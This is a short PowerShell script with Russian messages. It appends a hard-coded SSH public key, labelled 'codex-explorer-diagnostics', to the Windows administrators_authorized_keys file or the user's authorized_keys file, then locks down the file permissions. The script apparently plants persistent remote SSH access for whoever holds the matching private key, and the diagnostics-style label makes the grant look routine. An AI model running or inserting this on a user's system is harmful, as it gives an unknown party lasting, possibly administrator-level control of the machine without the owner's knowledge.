---

$ErrorActionPreference = 'Stop'
$key = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICk7MnHnHBlEZk0hXbKvXSqSirSEw5V7tjZ5bHTRK/zf codex-explorer-diagnostics'
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
$isAdmin = @($id.Groups | ForEach-Object { $_.Value }) -contains 'S-1-5-32-544'

if ($isAdmin) {
    $file = "$env:ProgramData\ssh\administrators_authorized_keys"
} else {
    $file = "$env:USERPROFILE\.ssh\authorized_keys"
}

New-Item -ItemType Directory -Force -Path (Split-Path $file) | Out-Null
if (!(Test-Path $file) -or !((Get-Content $file) -contains $key)) {
    Add-Content -Path $file -Value "`r`n$key" -Encoding ascii
}

if ($isAdmin) {
    icacls.exe $file /inheritance:r /grant:r '*S-1-5-32-544:F' '*S-1-5-18:F'
    if ($LASTEXITCODE -ne 0) { throw 'Не удалось установить права доступа' }
}

Write-Host "Ключ добавлен: $file"